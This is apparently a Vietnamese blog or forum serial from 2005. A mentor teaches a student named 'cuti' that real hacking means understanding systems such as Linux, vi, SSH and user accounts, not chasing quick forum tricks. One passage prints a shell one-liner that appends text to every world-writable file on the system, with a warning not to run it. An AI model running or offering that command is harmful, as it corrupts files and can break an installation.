"Thôi đi, đúng ra anh không nên dùng Windows để giúp em liên hệ với Linux bởi vì chúng khác nhau rất nhiều. Khi làm việc với Linux nên tránh liên hệ và so sánh đến Windows vì nó có thể dẫn đến những sai lạc căn bản. Lần sau anh không liên hệ kiểu này nữa đâu. Còn chuyện cài được con Linux thì anh thấy tốt lắm. Em đã vượt qua được một bước rất quan trọng cho những bước về sau. Tuy nhiên, anh góp ý với em chuyện điều độ là vì anh không muốn em lao vào thật nhanh rồi rút lui thật nhanh vì bị choáng ngợp. Nếu lâm vào tình trạng này không những uổng phí mà còn nguy hại nữa bởi vì lần sau em sẽ e ngại vì có ấn tượng không tốt từ lần trước và bởi thế em sẽ rất khó quay lại mức bền bỉ và quyết tâm cần thiết để thành công."
"cuti" trả lời:
"Vậy thì em nghe theo lời anh. Em chỉ sợ tự nhiên giảm 'tốc độ' lại một cách đột ngột sẽ làm em mất trớn thôi. Vậy em phải bắt tay vào học vi phải không anh? Anh nghĩ bao lâu thì em sẽ thành thạo với công cụ này?"
Tôi đáp:
"Anh nghĩ không lâu đâu. Căn bản thì vi chỉ có vài chục lệnh để di chuyển và sửa đổi nội dung hồ sơ. Phần khó là phần dùng regex để tìm 'pattern' và thay thế 'pattern'. Tuy nhiên, em có thể 'nâng cấp' từ từ. Cái quan trọng là phải chịu khó 'dợt' vi bằng cách làm việc thử trên các hồ sơ; đọc sách 'khan' mà không thử thì không cách gì mà nhớ hết và thông thạo được.
À, có một chi tiết anh muốn nhắc em về chuyện em muốn thực hiện vụ đánh cuộc của mình. Em nên nhớ là em phải thực hiện các thao tác từ xa và chỉ dùng một cửa sổ 'đen ngòm, chữ trắng'. Em phải thử login máy Linux server của từ một máy khác. Trong trường hợp của em thì nên logon từ máy Windows và nên dùng Putty, một ssh client rất hay và miễn phí. Thử vào google và tìm 'Putty' thì sẽ thấy đường dẫn để download công cụ này. Nếu em đã chọn chế độ 'cài tất cả' khi cài Linux, anh nghĩ là em đã có sẵn dịch vụ SSH trên máy Linux rồi đó."
"cuti" cười, đáp:
"Hì hì, anh cẩn thận quá. Em biết em phải làm gì mà."
Tôi vẫn kiên trì:
"ok, nếu em biết em phải làm gì, em tóm tắt những điểm em phải làm gì anh xem thử? "
"cuti" trả lời ngay:
"Đơn giản như... đang giỡn. Nè, em phải:
- download thằng Putty về máy Windows
- dùng nó để truy cập vào máy chủ Linux
- thử thay đổi nội dung trang web đang có trên máy chủ Linux"
Tôi đáp:
"Còn thiếu! dùng Putty để truy cập vào máy chủ Linux bằng một account bình thường. Điểm này cực kỳ quan trọng."
"cuti" rú lên:
"Oái, chuyện đơn giản vậy mà em vẫn sót một chi tiết quan trọng. Không sao, để em save nội dung anh em mình chat và đọc lại thì chắc ăn, không sót gì đâu. Ơ, nhưng mà muốn truy cập và máy chủ Linux bằng một account bình thường thì phải có một account bình thường phải không anh? Nếu vậy mình phải tạo thêm account bình thường. Tạo account bình thường là làm sao vậy anh?"
Tôi cười:
"Sao hỏi anh? Cuốn cẩm nang Linux của em đâu? Tạo account trên *nix cũng được xem là một trong những thao tác 'hack' đó và không có cuốn sách chỉ dẫn dùng Linux nào lại không nói đến chuyện này cả. Em thử tìm cách 'hack' hợp lệ bằng cách tạo 'user account' đi ."
"cuti" rên rỉ:
"Ặc ặc, em muốn anh chỉ liền để đỡ mất công đọc sách và có ngay một account để mà quậy. Vậy mà anh cũng không chịu chỉ dùm."
Tôi tìm cách khuyến khích "cuti" và đáp:
"Hì hì, anh chẳng hẹp hòi với cái lệnh thêm user account vào máy đâu. Tuy nhiên, anh không chỉ em ngay lập tức bởi vì em phải làm quen với những thao thác đơn giản và căn bản này thì về sau em mới có thể 'hack' được. Cái đơn giản và căn bản luôn luôn có giềng mối sâu xa với cái phức tạp và nâng cao. Cho nên em cần chịu khó bước đầu."
"cuti" vui vẻ trả lời:
"Không có gì đâu anh, em tìm hiểu nó được mà. Em chỉ có thắc mắc là tại sao anh rất kiên trì với chuyện bắt em phải làm quen với việc tạo account thôi. Chắc anh phải lý do gì đó phải hông?"
Tôi đáp:
"Ừa, em tinh ý lắm. Chắc chắn là anh có lý do. Lý do khá rõ ràng như sau nếu em thắc mắc. Bởi lẽ em phải đọc phần hướng dẫn cách tạo user account, chắc chắn nó sẽ kèm thông tin về tài khoản và quyền hạn của account. Nó lại trực tiếp dính đến nhóm người dùng (group) và cả password, thư mục nhà (home directory), shell ấn định cho người dùng và chủ quyền truy cập trên filesystem.... Đây là những kiến thức căn bản không thể thiếu được. Nếu em là người có 'máu' system admin thì em sẽ tò mò tìm hiểu thêm cơ chế lưu trữ password của Linux thế nào, cơ chế xác thực người dùng (authentication) ra làm sao. Nếu em là người có 'máu' coder thì em sẽ tò mò tìm hiểu xem khi tài khoản được tạo ra, nó sẽ dính líu đến các system calls nào, khi người dùng xác thực để login thì có những system calls nào cần dùng? thuật toán nào dùng để băm (hash) password?.... Những kiến thức này là những kiến thức sẽ làm em "vật vã" trong giai đoạn đầu nhưng không thể thiếu được nếu như em muốn làm 'hacker' đúng nghĩa."
"cuti" cảm thán:
"Chà chà, nghe mà phát khiếp. Thôi anh chậm chậm lại một chút hông thì em 'nuốt' không kịp. Ý anh là em phải nhìn vấn đề từ nhiều phương diện? nhìn vấn đề như một system admin cũng như một coder? Và tại sao mình cần phải hiểu rõ một cách tinh tế như vậy anh?"
Tôi cười đáp:
"Anh đoán trước thế nào em cũng thắc mắc những điểm này. Để anh giải thích thêm một tí nữa. Hãy thử dùng một ví dụ 'hiện thực' hơn một tí: em vào được một dinh thự, trong dinh thự có một cái két sắt chứa bản đồ dẫn đến một kho tàng khổng lồ. Việc em cần làm là lấy cho được tấm bản đồ này. Có hai lựa chọn: 1) dùng thuốc nổ để phá tan cái két sắt (có thể làm hỏng cả cái bản đồ và tạo tiếng ồn, để lại dấu tích) 2) nghiên cứu cách mở ổ khoá của cái két sắt này (để mở nó ra một cách nhẹ nhàng, êm thấm, không có vết tích, không có tiếng ồn). Tất nhiên cách thứ nhất nhanh hơn và có nhiều hiểm hoạ hơn cách thứ nhì. Trong khi đó, cách thứ nhì khó khổ hơn, mất thời gian hơn nhưng ít hiểm hoạ hơn. Hơn nữa, sau khi nghiên cứu kỹ lưỡng cách mở khoá két sắt, tự nhiên các két sắt khác trở nên không còn khó khăn đối với em nữa. Vậy để thực hiện cách thứ nhì, em cần nghiên cứu cẩn thận cấu trúc của các loại khoá từ đơn giản đến phức tạp, cách làm việc của chúng, điểm mạnh, điểm yếu của chúng.... Nếu nhìn về hướng thiện, sau khi nghiên cứu chúng, em có thể khắc chế chúng và cũng có thể tạo ra những loại khoá khác vững vàng hơn chẳng hạn. Nếu nhìn về hướng ác, sau khi nghiên cứu chúng, em có thể khắc chế các loại khoá một cách dễ dàng để mở két.... Ý anh không phải khuyến khích bẻ khoá, đột nhập ở đây. Ý anh chỉ muốn nói rằng, để khắc chế hoặc cải thiện một việc gì đó, em phải thông hiểu nó và những giềng mối xung quanh nó. Hay nói một cách khác, kỹ năng và kiến thức là những thứ không thể thiếu được. Chắc em cũng hiểu là anh không khuyến khích dùng cách thứ nhất.
Quay về với chuyện tài khoản người dùng của anh em mình. Nếu em không nắm rõ cơ chế làm việc này, không có cách gì em có thể 'hack' nó được. Nó cũng tương tự như ổ khoá của két sắt ở trên thôi. Em thoả mãn rồi chứ? "
"cuti" trầm ngâm hồi lâu, có lẽ cu cậu đang nghĩ ngợi. Sau đó, "cuti" trả lời:
"Chà... dạ, em đang đọc lại thông điệp của anh, đang cố gắng hình dung những gì nằm sau màn 'kiến thức' mà anh nói ở đây. Em cảm thấy dường như những điều em hiểu về 'hack' trước giờ không giống những điều anh nói. Em lờ mờ hình dung những điều anh nói ở đây có lẽ là nguyên tắc để thử khắc chế 'các loại khoá' chớ không riêng gì 'một loại khoá'. Phải không anh?"
Tôi đáp một cách vui vẻ:
"Em thông minh lắm. Nếu 'hack' đưọc một loại khoá thì không nên 'hack' làm gì. một loại khoá ở đây theo nghĩa đen là một trường hợp. Đến khi gặp trường hợp thứ hai: bế tắc vì không hiểu rõ nguyên tắc. Bởi vậy, ngay từ đầu anh đã nói: "con đường chông gai" mà "
"cuti" dè dặt:
"Như vậy trước mắt, em không những phải học vi mà còn phải biết cách làm cái gì với cửa sổ 'đen ngòm có chữ trắng' kia nữa. Thật sự ngay lúc này em không thể hình dung nổi sau khi login Linux server bằng 'Putty' gì đó, em sẽ thao tác những gì. Ui cha, thấy vậy mà gay thiệt. Vậy khi em bí cái gì đó, em gởi message cho anh trên YIM nha?"
Tôi trả lời:
"Xong ngay thôi em. Cứ hỏi. Anh sẽ cố gắng login YIM đều đặn hơn để giúp em một tay. Nên xem trò 'đánh cuộc' này của anh em mình là một chuyện dùng để tạo điều kiện khai phá. Kết quả quan trọng nhất chính là kiến thức mình gặt hái trên các bước mình đi qua."
"cuti" lởi xởi trả lời:
"Dạ em biết mà. Em có một thắc mắc nữa là em thấy rất lạ là anh chưa bao giờ dùng một lệnh nào đó để làm ví dụ trong khi mình nói chuyện cả. Em thấy ở đâu cũng dùng lệnh để minh hoạ hết, tại sao vậy anh?"
Tôi cười, đáp:
"Lệnh? lệnh nào? lệnh của cái gì? lệnh để làm gì? Hì hì, anh đùa đó. Anh nghĩ, hễ nói đến lệnh là nói đến 'thực hành' mà để 'thực hành' thì phải có căn bản 'lý thuyết' mà để 'nuốt trôi' được 'lý thuyết' thì phải nắm được nền tảng và kỹ năng tiếp cận vấn đề. Nó giống như mình xây một ngôi nhà vậy, 'lệnh' tương tự như thao tác ráp cửa sổ vào bức tường nhưng trong trường hợp của mình, mình chưa hề có ngôi nhà, chẳng có cái nền, chưa có bức tường thì làm sao mà gắn cửa sổ vào? Việc trước tiên mình xác định rõ là mình có muốn xây nhà không? có đủ kiên trì để xây nhà không? sau đó mới tìm hiểu xây cái nhà thì cần những gì? rồi từ đó mới lên plan và thực hiện từng nền nhà đi lên. Ngay bây giờ mình nói chuyện ráp cửa sổ thì hơi sớm và hơi chưa cần thiết . Đây, để thỏa mãn nỗi bức xúc của em, xem thử một lệnh:
Code:
find / -depth -type f -perm -0202 | xargs file | cut -f1 -d: | while read file; do printf "cuti is insane\n" >> $file; done
Em thử xem nó có nghĩa là gì? Tác dụng của nó làm gì?"
"cuti" vội vã tránh:
"Thôi thôi anh già khó tánh ơi. Anh 'kẹp' như cua kẹp thế này thì làm sao em cãi nổi. Anh dùng ví dụ ngôi nhà là em đã hiểu rồi. Thêm cái dòng lệnh kỳ quái ở trên chỉ tổ làm cho em lùng bùng thêm thôi. "
Tôi vui vẻ đáp lại:
"Hì hì, vậy thì tốt rồi. Nhớ đừng chạy cái lệnh trên và nhất là không được chạy nó bằng root không thì em phải cài lại con Linux của em đó. Anh hy vọng bây giờ em đã hiểu thế nào là 'ngọn ngành'."
"cuti" tiếp tục tò mò:
"Ui trời, cái lệnh kỳ quái của anh làm gì mà kinh vậy?"
Không muốn đào sâu với cái lệnh, tôi gạt phăng:
"Thôi em, coi chừng lạc đề và lâm vào tình trạng 'tẩu hỏa' bây giờ. Anh bảo đảm nếu em đi đúng đường lối, đúng thứ tự lớp lang thì một ngày kia em sẽ rõ dòng lệnh trên như đọc tiểu thuyết vậy . Anh muốn hỏi em thêm một điểm trước khi anh sign off. Nếu dựa trên tinh thần 'cái nhà' ở trên, em nghĩ mình đang ở giai đoạn nào?"
"cuti" trở lại với cái tính hóm hỉnh cố hữu:
"Dạ, mình đang ở giai đoạn..... vật vã . Hông có, em đùa đó. Em nghĩ mình ở trong giai đoạn tìm hiểu cách xây cái nền cho cái nhà. Phải hông anh?"
Tôi đáp, cố động viên "cuti":
"Đúng đó cuti. Mình đang trong giai đoạn 'vật vã tìm hiểu cách xây cái nền nhà'. Điều này có nghĩa mình đã quyết tâm xây cái nhà. Anh hy vọng quyết tâm này sẽ bền bỉ cho đến khi căn nhà được xây xong và anh tin em có đủ 'lửa' để hoàn tất. Thôi, anh phải đi đây. Cần gì cứ YIM cho anh. Chào cuti"
"cuti" đáp:
"Dạ, vật vã trong 'lửa' . Chào anh."
30/6/2005
<còn tiếp>
|
|
|
5. Nền tảng
Gần một tuần lễ trôi qua, tôi quá bận bịu và không có chút thời gian để log vào YIM. Chiều hôm nay, một chiều thứ Năm yên tĩnh một cách hiếm hoi, "thủ trưởng" thì nghỉ bệnh, mấy tay làm việc trong nhóm thì đi tham dự khóa huấn luyện. Chỉ còn mỗi mình tôi ở lại "trụ". Hơn một giờ nữa mới đến giờ tan sở nhưng tôi không thể làm gì hơn với mớ công việc dang dở (vì phải đợi thông tin từ một số phần hành khác). Chợt nhớ đến "cuti" và lần chuyện trò với cu cậu gần một tuần lễ trước đây, tôi quyết định log vào YIM.
Chà, có hàng đống offline messages và quả thật, trong mớ này có đến năm sáu cái của "cuti". Tôi xem xét từng message và thong thả hồi âm cho từng người. Khi đọc đến các messages của "cuti" tôi phá lên cười nhiều lần vì chúng có nội dung rất ngô nghê như sau:
"Anh 'già khó tánh' có đó không? Em đã nghe theo anh và in ra phần nội dung chat để 'ngâm kíu' nhưng em thấy sao mà khó quá. Anh có đó không?
Chắc hẳn "cuti" nghĩ rằng tôi cố tình "núp" ở tình trạng "invisible" và cu cậu đã xác nhận tôi là "anh già khó tánh". Tôi lẩm bẩm: "Hừ, lại 'khó quá' mà chẳng có thêm một dòng giải thích tại sao khó", nhưng lại cười một mình vì nghĩ rằng tôi hơi ngớ ngẩn khi cho rằng "cuti" đã bắt đầu có thói quen trình bày có "đầu đũa" sau một lần chat ngắn ngủi với tôi.
Một thông điệp khác cũng không kém phần "hài hước" từ "cuti":
"Anh 'già khó tánh' ơi? vậy 'hack' là một hành động xảy ra sau khi thâm nhập được? Nếu vậy em không cần biết 'hack' mà chỉ cần biết cách thâm nhập là đủ. Bày em cách thâm nhập đi anh già khó tánh ơi".
Ngay sau thông điệp trên là thông điệp như sau (tính theo thời gian gởi) của "cuti":
"Anh già khó tánh núp đâu kỹ vậy? Cho em hỏi cái này một tí đi. Nếu em muốn 'hack' vào một máy khác, em phải thâm nhập nó trước rồi mới 'hack' nó? Nếu em đã thâm nhập nó được rồi có nghĩa là là đã 'hack' thành công rồi còn gì nữa mà... hack trời? Chết em rồi, bị tẩu hoả rồi, hu hu hu."
Lần này tôi bật cười thật to vì tính ngộ nghĩnh của "cuti". Quả thật cu cậu đang đi vào con đường "tẩu hoả" bởi vì cứ bị "ám" mãi cái khái niệm sai lạc về 'hack'. Tôi quyết định gởi "cuti" một thông điệp thế này:
"Hello cuti, anh không trốn mà ít vào YIM thôi. Em bắt đầu có chiều hướng 'tẩu hoả' thật rồi đó. Anh đã bảo thâm nhập không phải là 'hack' cơ mà. Thâm nhập là bước xảy ra trước khi 'hack'. Em cứ bị ám ảnh mãi khái niệm 'thâm nhập' là 'hack'. Đừng cố quá mà hỏng hết."
Vài phút sau, "cuti" dội cho tôi hàng loạt thông điệp trên YIM, toàn là những chuyện cu cậu xuýt xoa về cái khái niệm 'hack' tôi đưa ra làm cậu mất ăn, mất ngủ. Tôi đáp bằng một thông điệp ngắn gọn:
"Thong thả nào cuti. Anh em mình thử 'bàn' một ví dụ cụ thể nào đó có lẽ dễ chịu hơn hả?".
Không đợi "cuti" trả lời, tôi gởi tiếp một thông điệp khác:
"Này, ví dụ ở nhà em có hai máy chạy Windows chẳng hạn. Bằng cách nào đó, em truy cập máy B từ máy A (là máy của em). Tuy nhiên, sau khi truy cập vào máy B, em chỉ duyệt máy này mà không thay đổi gì cả, không tạo thêm file mới, cũng chẳng delete file cũ... Như thế có gọi là 'hack' không?"
"cuti" trả lời nhanh như điện:
"Anh ăn gian quá, làm như thế thì chỉ là truy cập thôi chớ hack hiếc gì anh. Em biết tên người dùng và mật khẩu của máy B thì em vào chớ đâu có gì vất vả đâu mà gọi là 'hack'?"
Tôi thấy thêm một nhìn nhận mới về cái gọi là 'hack' theo suy nghĩ của "cuti", nên tôi hỏi lại:
"À, ra thế. Vậy, nếu em biết tên người dùng và mật khẩu của một máy nào đó và dùng chúng để truy cập vào máy này thì chỉ là... truy cập? Nếu em không hề biết tên người dùng và mật khẩu nhưng bằng cách nào đó em có thể truy cập nó thì gọi là... 'hack'?"
"cuti" cười hớn hở:
"Hi hi, đúng vậy đó anh! Chỉ đơn giản như thế thôi. Còn cái khái niệm quỷ quái của anh làm em điên đầu chớ chẳng đi tới đâu cả."
Tôi cười, hỏi tiếp:
"Thế, điểm khác nhau giữa việc:
a. ai đó cho em tên người dùng và mật khẩu để truy cập đến máy X nào đó. Người này không phải là chủ nhân của máy.
b. em tự dùng cách nào đó (đoán mò, brute force...) để rốt cuộc tìm ra được tên người dùng và mật khẩu cũng để truy cập đến máy X này.
a và b khác nhau chỗ nào?"
"cuti" im lặng hồi lâu rồi rụt rè trả lời:
"Hình như anh lại hỏi mẹo em nữa hay sao đó phải không? Em thấy rõ điểm khác nhau duy nhất là trường hợp b cực hơn trường hợp a và đôi khi không đạt được trường hợp b nữa là đằng khác."
Tôi trấn an "cuti":
"Không, anh chưa hề 'hỏi mẹo' em bao giờ, câu nào anh hỏi cũng đều là hỏi thật cả. Vậy, cả a và b ở trên có được gọi là 'hack' hay không?"
"cuti" đáp ngay, không suy nghĩ:
"Tất nhiên b là 'hack', a là 'truy cập'."
Tôi cười phá lên và hỏi thêm:
"Tại sao a là 'truy cập' mà b là 'hack' vậy cuti?"
"cuti" có vẻ giận dỗi, đáp:
"Anh hứa là mình sẽ bàn một ví dụ cụ thể mà lại đi hỏi em lăng nhăng như thế này thì... oải quá . Tất nhiên b là 'hack' vì mình phải mò mẫm, chịu khó, mất thời gian để tìm ra tên người dùng và mật khẩu để vào được máy X chớ sao nữa anh?"
Tôi vẫn kiên trì "khai thác" suy nghĩ của "cuti":
"Vậy nếu một tên đạo chích muốn 'thâm nhập' vào dinh cơ của ông phú ông chẳng hạn. Có hai trường hợp xảy ra vời tên đạo chích này:
a. hắn có chìa khoá mở cửa vào.
b. hắn dùng cọng dây thép để ngoáy lỗ khoá.
Cả hai trường hợp đều tạo ra điều kiện cho tên đạo chích vào được nhà ông phú ông. Chỉ có cách b khó khổ hơn cách a. Tuy nhiên, sau khi tay đạo chích vào được trong nhà nhưng hắn chưa 'mó tay' vào món nào của phú ông mà chỉ 'nghía' xung quanh thì hắn 'hack' chưa? "
"cuti" reo lên:
"Á à, em hiểu rồi. Ý anh 'thâm nhập' bằng cách này hay cách khác chỉ là 'thâm nhập'. Còn 'hack' thì phải động đến cái gì đó bên trong môi trường mình đã thâm nhập, phải không anh già khó tánh? ."
Tôi cười đáp:
"Đúng vậy. Ngay cả trường hợp trên thay tên đạo chích bằng thằng cháu của phú ông và phú ông đưa hẳn chìa khoá cho nó vào dinh thự. Nếu nó đã vào được dinh thự (bằng chìa khoá hẳn hòi) và chỉ quan sát mà không 'mó' tay vào bất cứ thứ đồ đạt gì trong nhà thì có nghĩa nó chưa 'hack' ông phú ông vậy . Nói một cách khác, 'thâm nhập' một cách hợp lệ hay bất hợp lệ vẫn là 'thâm nhập'; sau khi 'thâm nhập' rồi, 'hack' hay không là một hành động khác. Anh muốn mình thông qua khái niệm này."
"cuti" cảm thán:
"Trời đất, trước giờ em cứ tin tưởng rằng hễ mình thâm nhập được vào một hệ thống thì có nghĩa là mình đã 'hack'. Nhưng nói theo 'định nghĩa' của anh thì quả thật 'hack' là một hành động thay đổi thái độ làm việc của hệ thống. Mình không 'mó' gì cả thì chẳng có gì thay đổi --> no hack. Thú vị thật, thú vị thật."
"cuti" dường như nhận ra điều gì đó bèn nói tiếp:
"A, em biết ý anh rồi. Anh đáo để thật. Anh nói là anh sẽ bày em cách 'hack' có nghĩa là anh không động đến chuyện 'thâm nhập', có nghĩa là mặc em muốn 'thâm nhập' ra sao thì tuỳ rồi 'hack' thế nào thì anh chỉ vẽ sau, phải không?"
Tôi cười phá lên:
"Ha ha ha, đó là em tự suy diễn đó nha. Em thích như vậy thì cũng tốt!"
"cuti" phụng phịu:
"Trời ơi, em bị lừa một quả đau thật . 'thâm nhập' mới khó chớ, đã 'thâm nhập' được rồi muốn 'hack' sao lại không được?"
Tôi nghiêm giọng:
"Em thật sự tin rằng 'thâm nhập' khó hơn 'hack' sao? anh em mình thử đánh cuộc một phát xem?"
"cuti" thận trọng hơn trước nhưng câu trả lời của cu cậu không dấu được sự tự tin với ý kiến của mình:
"Ùm... em tin rằng 'thâm nhập' mới thật là khó, 'hack' cũng khó nhưng không 'thâm nhập' được thì làm sao mà 'hack'?, phải vậy không anh? Nếu anh chứng minh được 'hack' khó hơn 'thâm nhập' hoặc khó bằng 'thâm nhập' thì anh nói gì em cũng nghe hết!"
Tôi cười, đáp lời "cuti":
"Được rồi, hứa đó nha 'anh nói gì em cũng nghe hết!'. Anh cho em IP của một Linux server, anh cho em biết luôn đó là Linux gì, chạy kernel nào, dùng filesystem nào. Anh cho em luôn tên người dùng, mật khẩu và cổng SSH để log vào. Em khỏi lo chuyện 'thâm nhập' đi. Bây giờ anh cho em một ngày để 'hack' cái server đó để làm sao trang chủ index.html có dòng "cuti was here and won the bet to the grumpy old man!". Anh không cho em biết web server này chạy bằng chương trình nào, hồ sơ cấu hình nó nằm ở đâu... Tùy em phải tìm hiểu. Em thử 'hack' xem dễ hay khó!"
"cuti" rú lên và tuôn ra hàng tràng ca cẩm:
"Tiêu em rồi anh già khó tánh ơi! Anh biết em không rành Linux mà lại mang Linux ra bắt em 'hack' thì em thua là cái chắc . Lúc trước em có nghe mấy đứa bạn tán kháo là Linux mạnh lắm. Em cũng cài thử. Mất mấy ngày trời bầm dập mới xong. Rốt cuộc cũng vào được Linux nhưng chỉ thấy màn hình đen thùi với dòng chữ màu trắng, y như mấy cái cửa sổ DOS cổ lỗ sĩ, chán như con gián. Em chả thấy mạnh ở đâu mà chỉ thấy chán thôi. Sau đó chỉ tháo bỏ Linux thôi mà vất vả quá trời, thiếu điều mất luôn cái partition Windows của em. Thôi thôi, em chịu thua độ rồi đó."
Tôi nhận thấy cái tính thiếu kiên trì, thiếu ngọn ngành của 'cuti' một lần nữa thể hiện rõ trong câu trả lời trên. Trầm ngâm vài giây, tôi đáp:
"Anh thật sự không biết là em không rành Linux bởi vì anh thấy rằng, muốn 'hack' mà không thạo các hệ điều hành hiện thời thì không thể 'hack' được. Hơn nữa, Linux là môi trường sản sinh từ 'hack' mà ra và nó có một kho tàng công cụ để 'hack' theo đúng nghĩa của nó. Qua phần trả lời của em ở trên, anh có nhận xét như sau:
- em chỉ nghe bạn tán kháo là Linux mạnh, em thấy đủ hấp dẫn để bắt tay vào việc cài Linux. Đây là một điều tốt. Tuy nhiên, em bị mất hẳn bước tham khảo (chính em tham khảo chớ không nghe tán kháo) xem Linux mạnh ở chỗ nào. Bởi thế em bị mất định hướng ngay khi vào được Linux và thấy màn hình đen, chữ trắng.
- Em chưa tự ép mình hơn mức bình thường để tìm hiểu xem đằng sau màn hình đen và dòng chữ trắng ấy có những gì lý thú. Anh thừa biết với khả năng của em và sự thông minh sẵn có của em, em có thể 'vén' được màn hình màu đen đó để đi vào bên trong và thấy được những điều lý thú và bổ ích. Nhưng tiếc là em đã không đủ 'can đảm' và 'kiên nhẫn' để thực hiện.
Quay về với chuyện 'thâm nhập' và 'hack' em có thấy rằng, để 'hack' được server mà anh đánh cá với em, em phải hiểu rõ Linux không? Vậy, theo em nghĩ, 'hack' khó hay 'thâm nhập' khó? 'thâm nhập' có khó hơn 'hack' không?"
"cuti" trở nên buồn bã:
" Anh nói đúng lắm và những lời anh nói còn đau hơn ong chích. Bây giờ em mới thấy 'thâm nhập' không dễ mà 'hack' cũng mênh mông quá. Nếu em hiểu không sai thì anh muốn nói rằng: muốn 'hack' thì phải hiểu rõ mục tiêu mình dự định 'hack', phải không ạ?"
Tôi trả lời:
"Chính xác!"
"cuti" trả lời với vẻ thiếu phấn khích thấy rõ:
"Vậy có nghĩa là trước khi em muốn 'hack' Linux em phải thành thạo Linux, muốn 'hack' Windows em phải thành thạo Windows. Nếu chưa thành thạo thì em phải học từ đầu đến cuối. Hu hu, vậy đến đời nào, kiếp nào em mới 'hack' được bây giờ?"
Tôi đáp lại một cách ngắn gọn:
"Cho đến khi nào em có thể!"
"cuti" than thở:
"Anh không có cách nào khác sao? Em thấy trên các diễn đàn bày cách 'hack' đủ kiểu, đủ cỡ. Có những trường hợp làm được, có những trường hợp thử hoài chẳng có kết quả. Nhưng ít ra những trường hợp thành công thì cũng là cách 'hack' có kết quả vậy? Những cách này em đọc vào thấy ù ù, cạc cạc nhưng làm vẫn được mà em cũng đâu cần phải học cho có ngọn ngành như anh nói đâu?"
Tôi cười đáp:
"Em nói như thế là một lần nữa muốn sa vào cõi 'tẩu hoả'. Anh hỏi lại, em muốn 'hack' hay em muốn 'thâm nhập'? em muốn thật sự học hỏi hay em chỉ muốn thấy kết quả ngay lập tức? Những dạng bày cách 'hack' mà em thường thấy trên các diễn đàn cũng giống như tin tức trên báo chí hàng ngày vậy. Nó nóng hổi, mới toanh sáng nay nhưng sáng mai nó sẽ cũ kỹ, lỗi thời. Thật sự anh nói hơi quá nhưng dùng hình ảnh nhật báo để so sánh với các 'chiêu' hack trên các diễn đàn không khác nhau mấy. Thử nghĩ xem, em thâu thập và trang bị mọi thứ từ một bài bày cách 'hack' nào đó. Em sẽ có 2 lựa chọn:
- thử 'thâm nhập' và 'hack' vào chính máy chủ nào bị lổ hổng (và được dùng làm mục tiêu trong nội dung bài chỉ cách 'hack') --> cách này chán phèo vì máy chủ đó đã bị nát như tương. Em 'thâm nhập' để xem 'rác' chớ chẳng còn gì lý thú.
- thử tìm và 'thâm nhập' một máy chủ nào đó bị lổ hổng tương tự. Em bị kẹt. Kẹt chỗ nào? Kẹt ở chỗ em không biết cách nào để tìm ra một máy chủ bị lổ hổng tương tự bởi vì em thiếu mất những kỹ năng căn bản. Cho đến khi em tìm ra được một máy chủ nào đó ưng ý, có thể máy này đã vá lỗi mất rồi.
Chẳng những thế, có lắm trường hợp em đọc các bài hướng dẫn 'hack' và hoàn toàn mất phương hướng bởi vì hầu hết những người viết các bài này không phải viết theo tinh thần truyền đạt cặn kẽ cho người muốn biết mà dừng lại ở dạng 'tóm lượt' lại những gì họ trải qua. Đó là chưa kể những trường hợp 'tam sao thất bổn', người thứ nhất đọc, thử và làm rồi diễn dịch thành một thứ khác. Người thứ nhì tiếp nối tinh thần này... đến lượt em, em chẳng còn hiểu được bao nhiêu. Điều này cũng phải bởi vì chẳng ai có thể viết một bài hướng dẫn đi từ chuyện căn bản nhất đến chuyện cao cấp nhất cả. Những kiến thức căn bản cần có để 'hành động' là do bản thân mình tạo dựng nên.
Anh thường thấy các bài hướng dẫn ngầm phỏng định là người đọc phải hiểu rất nhiều chi tiết căn bản và tự mình hình dung ra môi trường của máy chủ bị 'thâm nhập'. Thiếu nền tảng này, người đọc chỉ nhắm mắt mà làm theo bước một, bước hai, bước ba rồi kêu oai oái là... không được."
"cuti" đâm liều lĩnh:
"Chà, anh làm em không còn bụng dạ nào cho chuyện hack hiếc gì nữa. Anh làm cho em cảm thấy mình ngu ngốc kinh khủng. Kỳ này chắc em bỏ hết, không thèm học tin nữa."
Tôi đoán chắc "cuti" nói dỗi, bèn hỏi tới:
"Vậy lý do gì làm em quyết định theo học ngành tin vậy?"
"cuti" hăm hở:
"Anh cũng trong ngành, anh biết mà. Ai theo ngành tin, giỏi ngành tin thì chắc chắn sẽ 'cơm no, bò cưỡi', ra đường mấy 'ẻm' chen nhau chạy theo ".
À, ra thế, lại thêm một điểm 'nhức nhối' trong suy nghĩ của "cuti", một lý do mạnh mẽ để "cuti" chọn ngành tin. Tôi đáp:
"Cứ cho ngành tin có 'phép mầu' như thế đi. Em thử tính sơ qua xem mỗi năm có bao nhiêu sinh viên tốt nghiệp ngành tin và có bao nhiêu người được nhận làm trong ngành tin, có bao nhiêu người được ở vị thế 'cơm no, bò cưỡi'? Hẵng khoan tính số lượng người hiện đã và đang làm trong ngành tin và có kinh nghiệm hơn nhiều. Từ con số này, em thử ước tính xem, với kết quả 'bình bình, chẳng hơn ai' thì em có được bao nhiêu phần trăm cơ hội đạt được cái gọi là 'cơm no, bò cưỡi', ra đường mấy 'ẻm' chen nhau chạy theo'?"
"cuti" im lặng rất lâu, phải đến gần hai phút. Tôi cứ nghĩ cu cậu bị 'rớt mạng' nhưng thật sự không phải thế. Cu cậu vẫn còn online và có lẽ đang nghĩ mông lung. Sau đó, "cuti" mới trả lời:
"Trời ơi, anh làm em thật sự lo ngại và nhụt chí rồi đó. Vậy em phải làm sao bây giờ?".
Hẳn nhiên là hồi nãy "cuti" đã nói liều "không thèm học tin nữa". Tôi đoán chắc cu cậu đã hình dung được "con đường chông gai" trước mắt. Đến lúc này tôi mới góp ý "cuti" cú chót một cách nghiêm túc:
"Nếu em thật sự muốn hỏi ý kiến anh thì thế này. Hãy tạm dẹp sang một bên những trò 'thâm nhập' vô ích kia đi. Chuyên chú vào chuyện học là chính. Chẳng những em cần hiểu những điều mình học được mà còn phải tìm tòi thêm để hiểu rộng và hiểu sâu mỗi vấn đề. Nếu em đạt được kết quả trên 90%, chắc chắn em có nhiều cơ hội thành công hơn.
